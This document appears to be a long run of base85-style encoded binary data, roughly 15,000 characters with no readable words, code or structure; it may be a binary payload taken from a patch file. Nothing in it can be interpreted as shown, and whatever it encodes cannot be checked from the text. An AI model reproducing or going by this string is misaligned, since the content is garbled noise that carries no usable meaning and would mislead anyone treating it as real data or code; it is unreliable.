zJaPV#;C;UR9Q*M%Njz?JP12zR$;5>VF20gcdT0(?gX$N@CiA;-<~NhzeuNLV*r0kr zRG(tT>cw7la|($~z(UrVBC}G#%d5lrXo(v@et8Hy%!RCuxov2z#U79nMwG`5>>*G0n z(96rM<;_r1PJ?W#dIRLtqWOs<$dR>dlFf1nVPD1$63wokLQVk5Xp;E&)PD(@Ejo>g?|w4L z59XL(xx0gM>PR3S=XWFcrAXVo%CY*(md>&iHF`E2PfCbA7c_y9C<-`{Pvyrcnl=A+ zMr@TWarYLu9a41R{OULglJA-KH*?m3$7asUx^;XUg&dY&7O_D|Z(Q>7^qTz>6GTOp#TJO+fI1O#DR2@zrJ~W{W{C1F_?ofg=A>~?2sgIdrslFc=G#Bem zo^d%E2e7hF<|}j$Y#^Rcv8d*K7FSuXG8yutNU2gT9*s7i&fYU)@ccS44^l>0&ufuHkP5{do)yP!1z^dqEXu{&MO_DV6iW0vJ7Q&(iF!1ZlR-aF_2gF7NkbaKRW z*?Gks8Kx}?V!Eo9=X>|LP)fg(Z@ZDfr{n_doLw6*lW}738x|Z5fql<9+egv|p z;e7U+Lt2KC(6Db3zRza$Z)KC|g;aij{2rNFxBoh`8VM;SL#eK-0@&^zy5V5gqVtF{3-*!61SMp#R`Bgj!~ zYV9S%zH%$%N@+k^eZo^y-h2fhTubjhaw78`n0Oo?^FO7pS#^#hO2)F8dCh*rvC2)B zF1l7Vv5KlYFhxLi_67bXTRZq}iE0WbP1lc?5h9sIX5g~ju~X904qIi7plC9Gq_1MU zb9FgaWkG!An>jlbcXEABYOPW4zQ$gnRrie&zQ}8m{kh|0-uLw9R?3r#r{N^S-H_!} zrONl@;wHh{-;W>-F{G$0hON&sHOKA=%K`$Ekbr}Y-^7qJppFdBV|c977IF`}F=IbVcaj-~*J2na?U3x&Eo(f9gfF?%-7Noy`Gi z@EBIGhRLNow6sm}Z^Ee$9+`#N>us^MrR$sdcNRwd|FqMTzi+%}mLTH&TUG;<{u|_b zf$oluK$Fy+>?ehvy5kk+pa0^ zkclqe>L2tD>yo>(_2{nFy1~fYgYjLX3A0XaR*!1OeD#iUiMz+2KoznjPU-)ReJkO= zlaT-MLX2cMHOe17`i0>=tx~fj+ETL%rI?u54X0n?=D^SOtszbKv(3U|0&iZsnceE0 zpiRUR`3SOcZbSKlW)H{8b@$tDmSt&$01SLCmoxW|ncV0NXGFchc(lk=jLouudnf_p zn;;zWZ!KQ1oG-t1`hRlJzWSIJ5yNo*4h~(rFf1HM6Uv!%_~)hvJiN7KQ8l}o26OxD zOIk0s#!^09Z4SnxAb~)Eat;=~<>348?-^rwEeLG;WBqpa_Chgz6*_7x zs^P7c>TGmoQPvpwe7o42;9z8n_@x}1;C{N!Sfp0g&LHD<43WxM5;`4Nq;xsp>)q&6 zjDsnp2vX?Q9k<`2g;K2pG}W#?y#&Gv|G;}|NEJ2GX6c$G z=P_-E8u=^bS*wGZni$lJh>#*NN$O+Mk$chRT4>UEwudpz^!|9Yc=T5n^9Pc+h`439tQ5!<$l-mLFFf4UD5dlD^AjfiTtyR!G~1t!ufnefFtT&R4E<7*u?q*;ax zEc{8U*y;;cOx#|~^W0u7($3X-aU#*p7_tN0LOlijr~W2%8IwYSPU2GT~e$eG;;UnOu49GDby-2@$NK+joSC&#$O5o7#VX#NW3p;}%Q$5tUa+#Hz z$xOj%5$bHDmDzI5!1JJZ$1igg<8y5fFM@-KcGXx^D}*Ih*uQj#l)PK`DJ2h%=|VSN z&HB}!UXStCR)!5ND26nHXoWT5+|1wjEBtR zw&hnMkh!$GZ5L5@IP*75I=-|Asy769G$P$dW!K?g#wOtOnepjlhJgL*b619f7~i8C z95KyhH%+UG*iOl>BPry{Ig;Z<@f_X?V@}i~UT-`Nb7k{bG1ggX zbhRjF$5isNT;Avl z?=$+vn}4EU^rA;hVPEZW=leaM^-Y#G{MT%vUd}xg_{O)b<48Niy(TtVXdew~Cx8a#$tJ_h_6HoFO{dIw_nc?)KQ>;@Yjq4C~+hrLzr99F47Eab}Y#%i#8B{u(Dh=oh@5u4)1lcOZA7t(|EGmRj9Q_} zI)v)$$w!}Q>=u zBoWJ}5R&qkKI50j1P_(Qe>y$DH)re$)o;(qOHgT49RZ+tAydlfY&Ughs0a(6hFk-w0zq|O)x;d z56K=07}=`)AT_cdT$utrPFhh4G;&&3B#I>sn%(CwlK+7#P`eIAi9Z1r);P{C93wnD zx6KFSx`}nSy(*Kb!G7xst?|yeW*6a9p`UM5Yh>v3CZrn+lxYoAnX{!L2M482AZ?!) zF0`%B0KmT5r>(@TVz$bk|Md`AV(FA5nXl9lgTGe=0#A;Qd!@+~_9Cc+2%3r^Fl4BO ze=?^>LWcWSDOwQj?}jg8Hz&6zNH6!m$5ab2_9aK*V4Lg<=_fxxPG=C#M*X88V$O1? zR;?p<0!MmZxT#hHaDxO1xg$v^B{{DH4Aa);hP&3%{r?VJr=moTkYsQ)Ro4Qae5F$#pvHV0Rlo7- zE939+NT zleua$TGQdQAz%q~K7vY{h}r7H3S7(&F!qyCA)Do$+Z@#-iH>$mX9Y4wSz=I2miz|T zcU%M;5BtH}SnG43!)_pm9iG76h0H%xWZs1&ANiOnY0*nZMX2V3*BeLDYUSeDy)sMn zTA#=8_V|rjlqC`uzo~ZK8+;TVtk>#|c23IPQA8ZhW!1Yv#^))5gk#?l#+kNa;)+Q| zQdgG|ZY5l?Pk?v5IO4I2_Zlhd^5@sP^}I|YgFk%}jQWZNjNP)P zP;MS#1!}0lq#`MZ6;f~UkU_J)4*z>>|GxEJGA;g%QyFTk~Fr-UuA}TTdwcgfBoI~!$=?8LZ4U9ckNdb8Bg{c z_NF}a@puj^;r?WlAh52fF}`ZDC49157&cFpvqC|7;Irybzc`4qDA8BX1_Q&)B>Fi zqm=SXZJqy68GVnXGP>~9%O6)ahyMIx&b*D06#{gg^wDRMKa7?ky^95!7_C=^^mFmy z(rWUdfkp>+y^kXt0YtNLt@`zyXAfgCN*jMQ(v>H96!?**l2`{_J0~s6Pzm7>^R?Tj z5Wn<>t;}qrUI8-Abs-IPFF)Y5VUfI}8G&!NfjMyD5HZoL!XGg_mTa=YiJ7S4~=(W3Em_Q+hPi z>XXeM(l8+IXQR~8v;h)ysQ`YysoC9Efj%`)uZ}cn`URLs7Hq@9en}a;NJwm}lK4@$ zvZ(^*?P0~bTCQYP&7}&Qjth9=WSl*)V7_a(iq@wt)f^(`eb|<7A%d$UT77cdKj*>5 z{*=UfKyEU310Q(6?u%)9j}Cm{pT-))umpP)(2gz2&MK~cyI>x6(As3A^cDCq&VY(KwLCbmK3b|$^SThD(C*-W zM?koM<%QICPj^F~(GQU#0ToN>MGob04_%@=Qo639p|ys!`|Vgtnl=|{HJ|RNZMS$C zQ|rdPYZ)kfkNQ8amei#zYZt*Ro`WL!fh|Daw3v^7cRh8#d06%d*7 z<@4_^MX-{W9*D-Zggn&4CQ6cP0-fVjgDdjrg?Sp591jK^LE7dUj1ODyFF&$L*FdSq z;^IpMI*o>KX1DL~O&vIY!bNdcVBP2nuopd0^i(uH8J1+=n_)xlvlfh1i#LB=yO{+jN-um6vs8I&qZ1IypB>h`)xHrwi5+n z9dE#_Tt6IF^V%HmrtO*Ib{RyLeUwE8yh>WXl8c_7T}ZhfWdZ7lvD~aVAMj(Q#>MIK z67kri>bfU@=hADWS}J=iw7lr-*|vb|jTG~KUJlo98)rOtB3>s^G7H8L!{=(?nlCu$ zq9+SZieheP)gaPYqHH87-73>v`@u2F)TW#Z$8T}aRBfmFb*9>57m)XI9ODJYO=azj zv6}2r8-2lllUIMM1cjij&!U8B0PlmlY zdi+wwNEJwtFpa|DX$`EO!EH0D&V2|fUV|Fv30M;(ifuD}jk?2Mw0){~2Hf7m5VRLy z?^@!T}MT0H}skQU^0CnV*aI!*{`5ELQZlX`v=T@?@a=Qvt7U4; z3>~7I&H4ybTyY|NPH~X2*|PMU$^rfv(``t_y=Nw!JZDfJJO`gUo7o0>_w7M^d<3cn z&Q+(vwp=?&K=74+F~<{4oGbr5kS(Y9Lr3*BY*I!81!ITf)zj|2HjE~#mG6KpdwF}FT>~Hz zj03x`;qYB@F^ES2QkiuCmW9Gd?b>&i(f_-`dF)*~KCdF)62kat+0;RxW|QJ>)V7}0 znefWFtSa-;(z3IrakeH~SR6L`Y0Q46c#PxtXE8;QqMUndW08&C09|;+je7qEJ|q45 z!x@9h@HMq;pUa2trIkIgZ<@WE_OrKJo9ru|IP)sLV`^h*~{-iHF5~00zrve9F1eHgZ|9LF_RX93lUwjKS z-t3$|J-&7EZhnw-!<1S7bu_nvxMo{se4#wF)mKa{y>`AIdHe-;`P}ot!rSv!&u#n( zG0T&6my+N)1y*{?Q$6?vlm$7U-M|>^uhT?%2)O;->&{n^!QBjR*YDzW;TNkcOUTb9 zNlTcX{LD2xOO#fmmp52yExq<#KcR-{?TJL)bXYrHY(a%lDV zM3on9o3Oc-%dMQwI9f+K2&XuG5J?nsVAb04Z(S(Rk~=m+<>UFmjd*u~zKT3LXS1k7 z%rd4rm6`({A=6uet9wlD{WwWM1&e2t;;#&Bg-}lt%jYvgG_JgwAx`v?!+d|mcl#)% z1{s+W)A-ZVaaBE=Tgqdc|BJl0imP(%+P+mlQW5D^=~Pl00hu63HwZ{iO6d;imX_}B z?v#-3?vgI)hWDInExp(MJm22;?!DV0KVV+hInFVTa$nf)GtPUSvD}5S(D5bJSA6mNbDC>n${{eAxKE1m6}%>03Zr_H zx}f^YzV|M2%oU>^B-T*RinSg@%Q!UIJwlHgDlC4t+(KqVUeD<)Y+JHO!oa*-Uf|c} z3fj33vE*hGSXd&zoakPkxKpOTt(gg8uMs(RKimEy7KgpBq{=~t_`#_a1FO((j^M@8 zX9kQcbyEhST9IcZLExw5O|vT*-agu)xa)sHA}|v1M>%UG$V8d;;YK&Fka6Xk*KF`m zYoI*5Scx${)`WkVjy1FqQt&QKWYqUprOYevhjgbpdi_jm0CFFTT6SwMI59YG?#D0l zmG$R#B^SwigmzHu_F})4?+k%id#N-&T`Ma$t7?}DZ>W2d5-)v5CeDt8UvH=&U$M6y zMRJ?fO~B8RGAW%Q6F|(*T=Zlp=jw@~*{03%w(*>*FHWi$|EZ;(cg!gkkEipTvoH#r z?vq>~$MM{6$&hq^E%JbIn~xb%6nq-Fp!l0LcaOhio;0H zH(y5ICU{ou_2{zlKE#{~Q^H>;-6`fgcCFYRf?CaX&ntK>N9Ov^a!^a|8@9 z84m8-h@zV% z(H$R#rWrL1ZUVc5dkafwh&-mwx!XfnqgH<)?)u;7`qD*BkU$`Wx*s@V=YVw|w3~b2I zqbmLRN+dVR=Kqvu_g^PSk^dUeT;u+~r1d`k;?8ck3?<^PMHE5bhfI}H06vJ#{%q%2 zJeT=BKTIkx`SAV&;`sfscz*V|hoTBlJcGH`BDy`Hq{ibWgX(=Y=a_yDEMU+nzW)yb%M~sYg&-(b z*dHr&V4=x17&uyf*@J28c~hRrpY;0G$!6gdbl@uiHfBd~8%(lx*_FkjQx!c!76lqX zF<^rH?28L1YV|_(5rDfYnYpy?kxn-gu%TM(PjvUb%L_2q@i{^Y-@TH@^J3BO#WNYk zXG*0o_2p}D6$n_9IFFxKN`qj#Or&^l4>qbB+fd0bk;4Yia95Qn_GLe6#TPkTmtO4g z+ie(p%5~5T+KMbO-Bxv3=w3w)Wzu;#hqy7buEcKNm&i+Zo5=djbp)jENpcNx_kOzt zzT<(D-1ysj6ZY388*knQV-TNgjkkT1$Qvwk#J#~Slqr>`=uN2dMd#Wd`JB9$M#H5F zcXygl*BNz(SZ+E2O9Wq=uu^NaoJZ%g-8!D(e}QRAgf#cH*t|;Lq=Z3-)3Gnlw%s;{ zZm_%d8^w!wi&%`tjeK)~+AO)FTpP>;S#r8QM+R90Kj6+iV3Pp@|9s7+cTEpaaB067 zjcupNuBt+3v-yUzq>xYsR!t`w(;DyZbb_FGd0F9!G-zj ztbM@8)!d2=tt0iTQ^K}eIM;oTCMu~8p!zL=d-o1-dTsqN;{`G)3_d2|atEnm3mty@ z(sWVa?3u3I2To(hjV2@w=wmg%<@Q%PYah-pFAt%EB|22fQzcKy9IW0aFyBvuNHzbE zP_t4>*7hpRN3(NuTmg#rWYyiX!_}UGE7;V1_fLBWU&aJgGl$WqB&g%%ov^rzzUU{PtXVh_Yv>}th zOb@*=Z1_4qZoNR@uC#8;`D|~lV|$|L!s%$uR5YIYdD4u<&kZIb4l^XRs@=A41v689 z^p8E$u702BuYTlkLZuRUgn^EDFp-`Eo>RZ^U#?kK@cclLM0w@N-6ao520!OPaAil|058FCA5I=qTbQx(3j7KrpBC@mr*bMnJ zCWO{W1NNso_^EIGde{3s!y_nVrQw7EzU_u`8uLZa${_?1vc1XhU!7Dx;p3tz8~Ddh zW*bd8ZbjLC01U}ad+&*e=6;VV-I*k5pkUAfIfmk~JE1`W34Anbtw){Ry~z+fu`mgi zNZfJ*#14$iVIUxcI|`0Gn)4xu_}CfZGSPn;S3BW?Y*0>T9?OD*%QggTsD`HuAhU` z&bcvtnrWkdPd79>Xb?<$#)+Y`<=DYo465Z=30&NtIuUW0i^RjZu!G+WwLBvsA=zpC zCmd2YQeOaK*xECv>N^H{Yx(vZX1|bN@etdEf6^g#_Fn7l5>Wf=#b#=t5bKTQDJ@-S z<1&62R%gIskPT@SpnJ2{9Z6hgv#(`aW|k=y>5ejvUEJ0>9e zX~qO4^(iz~Z|_T_ppx?OB*kIK8Z!J-z3%klWe1UFgh_xzmy?7Ll+mMjcz5GiW#qp= zPcD@hQRGU>0e`UEzS{ooAOHQzQme?0fjG>8zq#ZG9QY_Jzc6%u9gZ3A%r++CGI!lM zYmiW&&_b5TMFsK{D_*dh94Da~Pyi8gvRVs4zdzdZw(0J>{oLTlNE7qQRpjf^E%==C2S5P*HDtrd;@B_CWVV#Oh zyMXl{Pt}j=jQ0ss1CLFoBaowc^d8#mPi57?KUVd=&C)kDySa2VXvBzlUZ_$5&!AR? z{%XMg+f)*VA+62MWWgT_;InKnv^d?n;SMBWgZFuCBC{jGy2H++F2AQf@ceGWncrR}+!aC7Un*C_+wRYg6g4tx zzMwD1RRiU7@ZV->kIT(Q9N?AqX%QAbl4%rtG>47HqEEdxpc%+>;jayZdORkRkfgAJ z!{6oV`8kuR=}5LJ@LF74-&~ymFBDu-xZo44mcJ{k*8X0fa?>Y#e=NrAt9vkibX{e^ zIge!gBuDXQ!Z7l8y%Xj4t%3*??65WlzY{|j3fbx~$8r^0K*cjVUzD`koRze#7zE@S zlg1ccN5yMiLwf!)A;+GE+~Sa~wRjb|V$&W1lj-884GuOQK0Y;JsVJ!JDNA=-+Ov~O zM8Pi3wcC6!iMVsgcs{>mFZIX71n$ZYDL^ihI(HaZD-eCcPm+}9TXaMDZwyO792K*! zXx8zcUsLzh7;CA1mnUx>yVm5On=c6&SKM&u^3dN!S)f}+S>hrMBZ*Q%HN~}w#Fu0) z_4s7>HByDKf{;7>!BBxX;`>WS)h{<~|6fJ)Ul$wddkL`l~>q zh{q+x=`7sBQOoAji$xW*`1@B?UFgr|7C(Wxyi8}TA$_WkWEAAqmfOB&Tq$Gy0Msm4 zG`2S22zakk75j{oODqcZv{Qihy2PSgFdvA(2#4!BuR*nzs6oYx0;c0<8uis;{J*bi zf)C{ob{A8~^5bFEe4RYweJGLXjIHo`A@8wfHKZLyPvza=>FJMx8CzD04On^Yb2;1R zZ=O5|e`VAA3Y2ZMk<0;YTRNCuEX^KN$M#z|pHMPK_PLIDGLc}I(PFaJl&aEXuK!bR zF+dKG3J2goKozuS+2VCPD|3`qsc;~sa{ySJ?;u%>!KNxdhgj`&fnu@782DUBWRtN! z6fiqT?0aHZ2yqxRa_b)Sd@Fie_gGyfMOy+5j}@NG8y(W-i(!7%uP(9a;Cr|#cC??X znBxo1c?%weKd*=NM0`xLc9#yXUT5PmprD1%WI?pnukKsPU)4O`XDppz zfnb9!DY}_ruUlE~auX|o3)lKjBpHpA3CD8%z3^nQ)>H!46wGUV(ddjgg~e>W6>)vd zzFV6tllE}3(wZSoaefSIn0tEvzkYTaXuCg-AfP+EGC9W!#AAEhWVM}rRozb}@owXP z6ajt8yimo~iF7&?-(;o|PK$@v{9u?u?#~0{PMU>P z&Y)(S3~*^Y!)4GRS*xw4XEYemV|kNO*jxDb<bS%*YbH;8+hQB*9vBwBv5nG-^aKQ0RME?QIBK-SL=jgr|Ws~casN({MtGHI>~?@ zLY9we^yH;R{pi34gL7XdyNfM0n@^ep0bgN;n7E%qEqDzMR>BL7a4HzFoR)=aIFZ;C zbfGVVTYfyEvui4Xl~GD3_<}&ufz&%|qlv{MVAv}q4eG?E50R2{;5rlwti<#3if94m z{g1b^hV{6>&IC8qxbo8O{8y+;7E^9<^ugYoqofWqgY`q^BQ(q(nA;PKt-xL@Q>4Mb zYB)_m%I~6k2mBn1MaXG(V?9Z+x4vr(GY3xG?hq=Gujg=>RDo^H--Y0IT(kc5tC@?( zaFs2X4VKejzOwH|+nFzuvPC8$9Dms%)i=EenxNT2;PuGPlBpo(w%KMBloka{av__7HB13 zKK)Gs1>9Tu|B@sgP(xv~u7fm3v*TZ%A{f+UfeQhE!hj0_6A|XGpF3%4tz{FJ$ye68 z+1h>@+w%Kc2`(ZfCl68f6{y<2tt7gDt5{d~U42{Tcz+_ULdiCpsY9Okm2Z}rpYGU$ z|9zOzB3txHA|KpT>TFCFZ#JG%yidNm2NF{{UI~h4>3?w!(L;DtWa*>%JMluj zyTaa`$z1&wx?SDg7|QiT^`m14tC;^~F=Ilt=Yx!U5h7 zAGyLz!6gO*E@%X!QfC#fj8Az0EHF0s5Zh>@usNDZh{^R<`)8LDmXJ^I4__^h>j;NG zpV2k$E7P0d|51_U;CQJ4O!BeE!_!va;V*HSW5%NSAbob9GLX~_78|pV=O{7%xWG>S zE-bppkY%UV+US?S`pu=4fi24iXHwHZb@ zXXmR&f&iWd*ndt|+r#%khG?y7U**5ySD(D|_R0RQm24J5;k*_>r!#d2(5d6I8MD1r zkcbJup&BZEgK^3@YK05=%>SAYv#l`T)Jy}P0|z-yTwtGyc=wZ!5=5QO7`=Xhr4 z*j5=oejwqo`vT11v^W1;ESH+xbKGr!p;{3K*L9$zxM_g&k{#zr0y#m#!DX&^v@vrbA$MpOytxA zP&`GxlC-+P`4n5vNSaL5Cd|oe)c^;uKMq46u!6RL*30ls{*#_s z1~Uyna(lAc6S=kkEZrC}ECxUAa(@p(!EY;v>6FN0-;L6$8J_vVaG2cg>NEjVmlEyv zHd2o(ovzd=r@`4uUyK(Ujm?=7Y6t4x$CC|?NpfVO`tTE10MZB3{Q#nsh{G=WF8rw# zpeXSvdFi!vnn!cnKA*mweW3QbNFcHsdy<#qd4|tg=+q&INwKS=p*fxrzd4OZc;(cl z+?&9H4H{BCTUlLDHhR~An^;$_6U1~6k7mlZ-625)A7{oZOjPZa5s44#lNNe zi>NUWfNChZS*|o4uLp8XzE3$VzC;q4BJX3*za;LD=kx*NoD|U^=E+J^#1=b;<>d_V z%-`3dUz*MT>Y(fC|LUOca>2#ocRy?xWUK1y`K`Z7w$=){Z4m2uY#p2Vusqs%gYCUl zx88dr>5}bq*TMk=*r3q{gCzlb&7l_v7bL2j%u0njz{4NBw?dFxJm|z2iz-s>sJy0E zlN$2S8@Q8;bF`}piLG$im~?);QDe9sZ`bLhKiHkAsb&Ob09f=Mho+L4y!f%xET1Z+9TeZ<(+}_G581Z(_2>nfE1E*xgmV z$qNxwh2yOuY%n6zZP#7vt%+5WSNxE#taO=nQ;Ne7>-DoM{IJ45x&Gxpz4HFq*xecb zq-St)B*v!7ag*dOffMM{WlqyDYQVJ2P)tfh!*2*DtvEy$k4YQ8H;FrFh25m{P5J&g zDhZ!c`hsB~ExkSrverZsQ_2MwWB;%0Q?^nOPAscw5Xc{t-sOxK{F?BTsoz@tC;P-I z+!J>LwX*o>%m2!}MHG#Qhqc+ok@oj>>-^;+ECt=P6k{ky`SCCUf3m?K2}~ZKQ&&l` z72iSnw?=W{LHS$WpxoWb5;a>4cfl6V1A9*skabQ9`kM2f7wgUcDDgL(e@eV-g~A!F z0zE95<80HL$fT9mu0VdhJf_nOJ5{HgOLgqCko<+Flhc^I>}A|H0%;QAY889FCY*kpw)rIEv{;7Aai^^l^?|)2?tTs`dLUQ?nZ#mmHQ`$(o7D zX=W)8YKzS0*=YB3i%q7=Rq<`pj^(@jlG|>soa~8P>zzbj$MPm-=3VOMK6|XG1)SiG6SZ4G|VZ&Ea&z|0}V}+L55w zp(STY5L}mli1a1oD^biq(4Jh^z$f(?I=yW`EH}5OK=^VfmJ`Om(Inf09O;CNR(U{1 z)TKVX9=`Rm`}JEudcNR3-aA3n%o9zdr@`q>`hJyG2r%1G!fK-9Hd~VqBXdW8oFVw@ z3@?mWkxnof&EREZZCxdBSrfGTM~Org@`C9uQ+JYn=`0dJR6oYNxos|2t`{I-6a#*)NX2FS>eK8zJ|rtuAN*F$yc8)@uEMF2CT) z244%cOXYQu05Q2l7~YL5Vc;Xes$|in2lY$Uk)TRy0qkJC^&5buHownny_LVWJy4ti zXAXds41NBv8;%=F76y6!O!+6b#|bXNV0=5&DD=AC`AG51n$e|SFz8X(ql)cYU!oe6 z)30A4VeH(x|CJ)5TzS+`&v@r4$AB_gr5$92kS}6+tiGqdvh=R8>HtNcpo1;10wy^-k zKO!%Q*AV(_h#1s$MuBZ!p!xG3ob8_a-$(Z~LUQis-Zz3*6@- zmdz6DT3rK~ZIC8xZ}kZVkES`fru?R%;$4hZ1iyM@*UhEPx)qIDBZ0*_L#me!VvA1| zwH)v+F0QQP^@@AS#Mop?V8w3RwnQG6uZous$X~EfXCEf#ezJmSaQi2nI0L;;k2dd~ z{oO4upVN8s`cNuDqkC}%cwIwq<_rTwL4O{b%=Zopt)qcqJ_a$fN)X;q)8WR* z6>d3n{%sR;rc=%Ex#OXg1hr$D^!IB(jbXD`@BZ$Rdw#=ai1NBH+aLkb^$?B7T`Gxh zvoY2^lScn|7Ti?LKBr@Eg(eRnZA~SUkkB2gTds9_59v@Y&efg4)}tsEss_Ze<&`!K zIfG}ql`@Dh)jCcx|3f^7xj&&he$&xFk8s7lq+rq?;Ik@+Ny_{XXgCd*;yd*Kn*tNe z0VP6Or&837kN1wa!6mRGlKo^DL{#O@*t`$%Pb}0@FwoReVie@s6bqF*d6mZJ*8r@- zLdOUGQO5V!3c^r!38PaMk8Zy9;ICvpHYo+;**0${7{L72D=F! z&@@BO+R+#T4-KS~=S`UP$inpqIFk>Jyv1B%yA;*3)3zHkp`q94f$_zWFGtTa%;aLF zd7xHC+iPPc6mPPZ4gPvv+EzQbEZ#HU{aQ-fDRdw`8Kn}B#S)Jy_<04;6PXoKJfY8p zxEd*ED^5`wdPveP$LU=lhr*GGZWoa6UNYCzeIU&HrLgH(KO=I>)u>z(j1O;+MOM|Z zeUe8xbJ>TY3Kx(g^DX6@xWf~{lOJW0gs@6DEFKeGQ1F_x!Qw0*3YSibKjyw*Ut^f?mPT(R4HUi0|g%7GEs$$hy)$FzPRryS3UI zA#Ss22B2v{$I!SLs0UOcX({aWoL8eSmNPdj3*!1BGEn!{+nKa0ddM}g1 z0+__JYFR%;K>a!5nuDDC!mGTu@?Db!+9MCDcY+Ozud8JQ5mt^j%S1z4Ql)d2&rWx_ z8Q<$}i3omSFQ^nGVv;a_`Rk|o91clhr=V*N6tUi{ z8$=rR4b|cN{FL@0r-gbyHqth&m;>{#dk(U~EOO*^Z$4YJtH~@Ft|*QY6tD8<#RoOk z;kz{yeQpxSE^sCjOZueFRa_HmO)9x%tyybDk*k0TrNopcS{+D!_3;fUtT7hJ$drg{ z7xTrZy)dLyGwu4ufC>f>=6kaUS*xB6PS2l0gNC~mww?jT2FdQ;Xa-{UH=1_fVwUSt zcX%CSHaj$pkZu;<{ynkb>ZV2an9o0;=yUUFrw1bXb#G5+o9*JhGsj&RGu!9FCi}G9 zMuqkP(Z=jymRAeZ)vx?DZ5Ys{=ZdzREam4F%*`tLnZiRg(_ECgxI|9sR2*`*B41AN zp^DXg?2kuqN!tw1>RmL{K##}sW6vc-j;yz#bO9xV&G()8b1jh|#;r|o$kD}VA$U2S z?ODEjAb=vX{1*8lK3lco1t5#|HKlaNIv_xGzxM_+BP-~Sikokr5=(4y`8r)#l#$*v zLWf#96S%1sMBIn`y9cm4kH47s&@AONk07SYV9annWJ(q37zOiHqholJ*`Euo>Hcs6 zLL2EkVfd3U`9i@Ms#*io3-mMDm39^ReYGqao$;;!a^-nwBx=lI_A`pmhGH?$c35UKwu#X7t zorhxmK+A2;!B7&)dv7#$fl;8!YVFWcEmOl5KzhP18yo6359FSThg$4&ZA>I#R8qNY z_fA2R<4KQb>PQhZpXH8q!=!W90_NZ6Y9T-;jl3q$b{Zyn$(1QdQdCEvqc|VbqK#u) zcFY=vnOluX3-0LsPBvK%o8Y>C|N6tlV{o}jE6>zeC|RL8nDxS<3D*J{)Y{;7&-K}h zfcUl1=9J5JoLI9@&Y232IX%*@H_@;jmOd>Z868Z6n1Udu{U-!-0Dai|Rn|V_>jGM0lGvW?Eroah9AYr^ zkcy?_;xIDL1!hec9TLxsVnq>>2M7Z0nC$DPeX8ZcfJ;y<6d94jWldPZos#=GXx_k^ zmRCLJ&fQ(+Iy?LlK)bIAWxaEFr04N?I$d32z?HB4JN-*e+7W%`VQhC**tI?Fa*m$2 zZwp(*Q~s)V%*G8{wzI3H$adj=ZNPSPmoZE4?m26AR9Hk*6QzVOxV%&&vSdr|W5mRU z7%nBb-jY1K4Yy4n0T&!pWrqdd>KNuaJ&h zgPI>bBV@n4&YmD$C}m5M8OSc&OxeR3*YB1}5~|W$vS%Msx{RW}iySOa z(_O>Wl#>lJ7wVhoAY}c10SIIWeH+gD^qM99*jPsOlc`}z@G;}V?ow8)pNyEwIfs(1qLr$gUh=NtKhAHJ8NlXF0>M4hKy=A&HSnR}efeI&u90uL{ z+Rkf=+^eG`X@{Tsk|2}gFIk_yv82dHJmC-tCW+iei&P0syF!Y*W(_Z3P^}bM%fEo3 z(f6K}veC(Qfu7Rblh%c{MtrZR;?P362NkU$7jmGWua$)TJ>mEnXJZcB>cbJj>V z9NF5mNDP(-BZ)|8kj+i88v{?4lTdIAQ7<@1A2Ogt2NPO-y;&q<`_};;w6G_zzq7OX z>Fh~eC{g+NzCO6!7je8GpD}PV#GUMBF{(l*=DMfLwbea}D3blN0$E}kixjwVBrjKL-nQk){TwmGuyB!Mkel&EeW9sP`jQWfiqbi>QM z(?qMy5$KtO!3fIM#WNmWUVBNbsV=#JM==?OQ;Crf?DhUckz9Ei&L)-TBgD+4XlSPg zWy4@~giB+A9}#x5shX|D{-YSZ7`8Cqvi1I>pKAVDk!Z26_%qnFKX^HmZghsvIQ0iO zUlZvX3Q-5ou**Z+(~&eVUTp*~)duKv=KqkHDxp#-C8z&jm>7!UzYU;ScIgvnvX4!a zqRH#54IJ%*x(j%7&)Wk9N*9rptPWJ(z4PCW)fUuaaJ{WBR)6;Pgiqm8CM}VcE4R~B zrb|jmCepS=MmgTEj-hhXken(XB&?`8uI6^ZK&;W(Wo&C^NHs%)0<7wx>ru*w#0*p1 zKx7_xgz}VW_a%*fNqrc-n~lOYzT?=iTf$!4i-it8)~vG9$ircX#P^JA-Qb3JGsVWq zRM-(Xyq{zG=G!wEK^DmQ=BkkKJ~D-nO{ITp!sWHFnR0CrlYpTV2U*hY$VlYn07==k zVSvnae>`tT0$HVXQyB-LPxC0JJ~MN1_F)XK+dC=8d{}+2l`ZnLx(Y15f%JEl6{>SB zb}s28sc67sE3H<@p%5T^bAa1e3cz6y&g#F9o!h*ep->r-t-B_OH3)AAd?*+3$|=H` zGHI8ya&M8v*4&RBS(?DA$-{a$2fmA`*zaSxh9#R+^q5A@*YF|T18Cj%3}v&HN!SQ% zC>?dQTfG_1OSIH&vfhhOBF|JJe#kHeQ-x=iK1^vomvdSE9{4%38H>oPke)&AmL2Ex z2!#m(sZ``XDo2Bc;dWKsJORj zcP)4d*ZCpukP0e=8ZIgY9a?{Y0G0E7O0T4?&0HRB4SsfeTd1@Xdb^p$z2 zxzD`f_sU2j){&U=wkC=Yv!1tm^q%L>;DE(s$D48*`EJRf8IvV&{R!#&g8R=c4QT7s zs#GW`tBfu%&vwIgsoSp-A z1nv)T&563bD7&b)zwT>Qi0)z$xd{JB=q#e@_Vp)K7rK}+ILF)@sk-K5VT9wDQ{dM|jL-Q@3^pa@${9v{!(mT5&bSuut}f&77n0s0 zQqoP2Tr6DZGm~$M%gCZT5fcS7j)l(mi9H^ElM-DHTI8v;L^G z)!y*j5({wTB1xf3F|4RXXrys)zy&=Rta|=@gI<51452`E%s;mIkaR68P%87CcvSC- z!r8DP3RHwJBY{8ySji0ZfJ$AM-=<85nRX^a78qf*?QbmaCj;jNF&4j;J}z^jWM%_Z%brV?2le z?w>0dH$RPd-4T2j7p0r|Xv2_X08>Iby8ZLvXbg0=`u>k#Lbosq*N=ooYW4iiE&l@9 z4mhWy#6y^&e#=6LHoruv3XlwlvC}n}R7c%rU5qZtVyjF#cq2~-J1Z*UrG)|_j$E7_ zp$A-Bwu3G#fIu}d?}$B;Dfv?&iZYPU&;AHk=fZ+O{bWJJlTtgFl-qrvAkz$!QgRK& zw|fl$@}~3?DE9zN#-!wBmHq*lWke96;>WeXcN=$Cq$VvQvyIk>14$|lx1yXWW9CKM zsDhK)cYH0Pr`gh7Qtq@Y{$(f0<&^UFN(%D|*~_0`!@&azvt#1;??cXChhw=~98Na; zfse?7YNa15*0q2xQc6g)4D(`Udz4(%Lxd(eO#hM_97CmZwa%yXxg3ttBW0y%~_%|@Z=|B zd%75ndrK&Keuk6%IFYaF4t&_I<7F@5`O`T<>{k}Q-fd)L;Mn 